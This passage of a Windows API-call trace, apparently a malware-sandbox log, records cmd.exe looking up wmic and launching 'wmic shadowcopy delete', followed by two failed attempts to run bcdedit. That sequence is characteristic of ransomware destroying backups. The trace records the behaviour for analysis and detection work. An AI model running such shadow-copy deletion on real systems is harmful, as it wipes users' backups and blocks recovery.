0x35 [0097.477] GetProcessHeap () returned 0x680000 [0097.477] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x696340 [0097.477] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x696340, Size=0x76) returned 0x696340 [0097.477] GetProcessHeap () returned 0x680000 [0097.477] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x696340) returned 0x76 [0097.478] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.478] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x33ea9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea9c) returned 0xffffffff [0097.478] GetLastError () returned 0x2 [0097.478] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic", fInfoLevelId=0x1, lpFindFileData=0x33ea9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea9c) returned 0xffffffff [0097.479] GetLastError () returned 0x2 [0097.479] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.479] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x33ea9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea9c) returned 0xffffffff [0097.479] GetLastError () returned 0x2 [0097.479] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic", fInfoLevelId=0x1, lpFindFileData=0x33ea9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea9c) returned 0xffffffff [0097.480] GetLastError () returned 0x2 [0097.480] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.480] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x33ea9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea9c) returned 0xffffffff [0097.480] GetLastError () returned 0x2 [0097.480] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic", fInfoLevelId=0x1, lpFindFileData=0x33ea9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea9c) returned 0xffffffff [0097.481] GetLastError () returned 0x2 [0097.481] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.481] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x33ea9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea9c) returned 0x693770 [0097.481] FindClose (in: hFindFile=0x693770 | out: hFindFile=0x693770) returned 1 [0097.483] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x33ea9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea9c) returned 0xffffffff [0097.487] GetLastError () returned 0x2 [0097.487] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x33ea9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea9c) returned 0x693770 [0097.489] FindClose (in: hFindFile=0x693770 | out: hFindFile=0x693770) returned 1 [0097.491] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0097.491] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0097.491] GetConsoleTitleW (in: lpConsoleTitle=0x33ef94, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0097.492] InitializeProcThreadAttributeList (in: lpAttributeList=0x33ee1c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x33eee4 | out: lpAttributeList=0x33ee1c, lpSize=0x33eee4) returned 1 [0097.492] UpdateProcThreadAttribute (in: lpAttributeList=0x33ee1c, dwFlags=0x0, Attribute=0x60001, lpValue=0x33eedc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x33ee1c, lpPreviousValue=0x0) returned 1 [0097.492] GetStartupInfoW (in: lpStartupInfo=0x33edd8 | out: lpStartupInfo=0x33edd8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0097.492] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x18) returned 0x693770 [0097.492] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0097.492] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0097.493] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0097.494] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0097.495] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0097.495] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0097.495] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0097.495] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0097.495] GetProcessHeap () returned 0x680000 [0097.495] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x693770 | out: hHeap=0x680000) returned 1 [0097.495] GetProcessHeap () returned 0x680000 [0097.495] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xa) returned 0x690110 [0097.495] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0097.495] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic shadowcopy delete ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x33ee78*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic shadowcopy delete ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x33eec4 | out: lpCommandLine="wmic shadowcopy delete ", lpProcessInformation=0x33eec4*(hProcess=0x74, hThread=0x78, dwProcessId=0x924, dwThreadId=0x934)) returned 1 [0097.854] CloseHandle (hObject=0x78) returned 1 [0097.854] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0097.854] GetProcessHeap () returned 0x680000 [0097.854] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x695498 | out: hHeap=0x680000) returned 1 [0097.854] GetEnvironmentStringsW () returned 0x694930* [0097.854] GetProcessHeap () returned 0x680000 [0097.854] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb5c) returned 0x695498 [0097.854] FreeEnvironmentStringsW (penv=0x694930) returned 1 [0097.854] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0136.357] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x33edb8 | out: lpExitCode=0x33edb8*=0x80041014) returned 1 [0136.358] CloseHandle (hObject=0x74) returned 1 [0136.358] _vsnwprintf (in: _Buffer=0x33ef00, _BufferCount=0x13, _Format="%08X", _ArgList=0x33edc4 | out: _Buffer="80041014") returned 8 [0136.358] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0136.359] GetProcessHeap () returned 0x680000 [0136.359] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x695498 | out: hHeap=0x680000) returned 1 [0136.359] GetEnvironmentStringsW () returned 0x694930* [0136.359] GetProcessHeap () returned 0x680000 [0136.359] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb5c) returned 0x695498 [0136.359] FreeEnvironmentStringsW (penv=0x694930) returned 1 [0136.359] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0136.359] GetProcessHeap () returned 0x680000 [0136.359] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x695498 | out: hHeap=0x680000) returned 1 [0136.359] GetEnvironmentStringsW () returned 0x694930* [0136.359] GetProcessHeap () returned 0x680000 [0136.359] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xb5c) returned 0x695498 [0136.360] FreeEnvironmentStringsW (penv=0x694930) returned 1 [0136.360] GetProcessHeap () returned 0x680000 [0136.360] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x690110 | out: hHeap=0x680000) returned 1 [0136.360] DeleteProcThreadAttributeList (in: lpAttributeList=0x33ee1c | out: lpAttributeList=0x33ee1c) [0136.360] GetConsoleTitleW (in: lpConsoleTitle=0x33f19c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0136.361] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x692800, lpFilePart=0x33ecbc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33ecbc*="Desktop") returned 0x25 [0136.361] SetErrorMode (uMode=0x0) returned 0x1 [0136.361] GetProcessHeap () returned 0x680000 [0136.362] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6927f8, Size=0x64) returned 0x6927f8 [0136.362] GetProcessHeap () returned 0x680000 [0136.362] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6927f8) returned 0x64 [0136.362] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0136.362] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0136.362] GetProcessHeap () returned 0x680000 [0136.362] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x120) returned 0x692868 [0136.362] GetProcessHeap () returned 0x680000 [0136.362] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x238) returned 0x692990 [0136.362] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x692990, Size=0x122) returned 0x692990 [0136.362] GetProcessHeap () returned 0x680000 [0136.362] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x692990) returned 0x122 [0136.362] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0136.362] GetProcessHeap () returned 0x680000 [0136.362] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x692ac0 [0136.362] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x692ac0, Size=0x76) returned 0x692ac0 [0136.363] GetProcessHeap () returned 0x680000 [0136.363] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x692ac0) returned 0x76 [0136.363] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.363] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.363] GetLastError () returned 0x2 [0136.364] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.364] GetLastError () returned 0x2 [0136.364] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.364] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.365] GetLastError () returned 0x2 [0136.365] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.365] GetLastError () returned 0x2 [0136.365] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.365] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.366] GetLastError () returned 0x2 [0136.366] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.366] GetLastError () returned 0x2 [0136.366] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.366] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.366] GetLastError () returned 0x2 [0136.366] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.367] GetLastError () returned 0x2 [0136.367] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.367] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.367] GetLastError () returned 0x2 [0136.367] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33ea38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ea38) returned 0xffffffff [0136.368] GetLastError () returned 0x2 [0136.373] _get_osfhandle (_FileHandle=2) returned 0xb [0136.373] GetFileType (hFile=0xb) returned 0x2 [0136.374] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0136.374] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x33ee8c | out: lpMode=0x33ee8c) returned 1 [0136.374] _get_osfhandle (_FileHandle=2) returned 0xb [0136.375] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x33eec0 | out: lpConsoleScreenBufferInfo=0x33eec0) returned 1 [0136.375] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a894640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0136.377] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a894640, nSize=0x2000, Arguments=0x33ef00 | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0136.378] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a894640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x33eee4, lpReserved=0x0 | out: lpBuffer=0x4a894640*, lpNumberOfCharsWritten=0x33eee4*=0x62) returned 1 [0136.379] GetConsoleTitleW (in: lpConsoleTitle=0x33f138, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0136.379] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x694938, lpFilePart=0x33ec58 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33ec58*="Desktop") returned 0x25 [0136.379] SetErrorMode (uMode=0x0) returned 0x1 [0136.379] GetProcessHeap () returned 0x680000 [0136.379] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x694930, Size=0x64) returned 0x694930 [0136.380] GetProcessHeap () returned 0x680000 [0136.380] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x694930) returned 0x64 [0136.380] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0136.380] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0136.380] GetProcessHeap () returned 0x680000 [0136.380] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x120) returned 0x692d58 [0136.380] GetProcessHeap () returned 0x680000 [0136.380] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x238) returned 0x6949a0 [0136.380] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6949a0, Size=0x122) returned 0x6949a0 [0136.381] GetProcessHeap () returned 0x680000 [0136.381] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6949a0) returned 0x122 [0136.381] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0136.381] GetProcessHeap () returned 0x680000 [0136.381] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x692e80 [0136.381] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x692e80, Size=0x76) returned 0x692e80 [0136.381] GetProcessHeap () returned 0x680000 [0136.381] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x692e80) returned 0x76 [0136.381] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.381] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.381] GetLastError () returned 0x2 [0136.382] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.382] GetLastError () returned 0x2 [0136.382] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.382] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.382] GetLastError () returned 0x2 [0136.382] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.383] GetLastError () returned 0x2 [0136.383] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.383] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.383] GetLastError () returned 0x2 [0136.383] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.383] GetLastError () returned 0x2 [0136.384] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.384] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.384] GetLastError () returned 0x2 [0136.384] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.384] GetLastError () returned 0x2 [0136.384] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.384] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.385] GetLastError () returned 0x2 [0136.385] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x33e9d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33e9d4) returned 0xffffffff [0136.385] GetLastError () returned 0x2 [0136.385] _get_osfhandle (_FileHandle=2) returned 0xb [0136.385] GetFileType (hFile=0xb) returned 0x2 [0136.386] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0136.386] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x33ee28 | out: lpMode=0x33ee28) returned 1 [0136.386] _get_osfhandle (_FileHandle=2) returned 0xb [0136.386] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x33ee5c | out: lpConsoleScreenBufferInfo=0x33ee5c) returned 1 [0136.387] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a894640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0136.387] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a894640, nSize=0x2000, Arguments=0x33ee9c | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0136.387] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a894640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x33ee80, lpReserved=0x0 | out: lpBuffer=0x4a894640*, lpNumberOfCharsWritten=0x33ee80*=0x62) returned 1 [0136.388] GetConsoleTitleW (in: lpConsoleTitle=0x33f138, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0136.388] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x694cf0, lpFilePart=0x33ec58 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33ec58*="Desktop") returned 0x25 [0136.388] SetErrorMode (uMode=0x0) returned 0x1 [0136.388] GetProcessHeap () returned 0x680000 [0136.388] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x694ce8, Size=0x64) returned 0x694ce8 [0136.388] GetProcessHeap () returned 0x680000 [0136.388] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x694ce8) returned 0x64 [0136.389] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0136.389] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0136.389] GetProcessHeap () returned 0x680000 [0136.389] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x120) returned 0x694d58 [0136.389] GetProcessHeap () returned 0x680000 [0136.389] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x238) returned 0x694e80 [0136.389] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x694e80, Size=0x122) returned 0x694e80 [0136.389] GetProcessHeap () returned 0x680000 [0136.389] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, 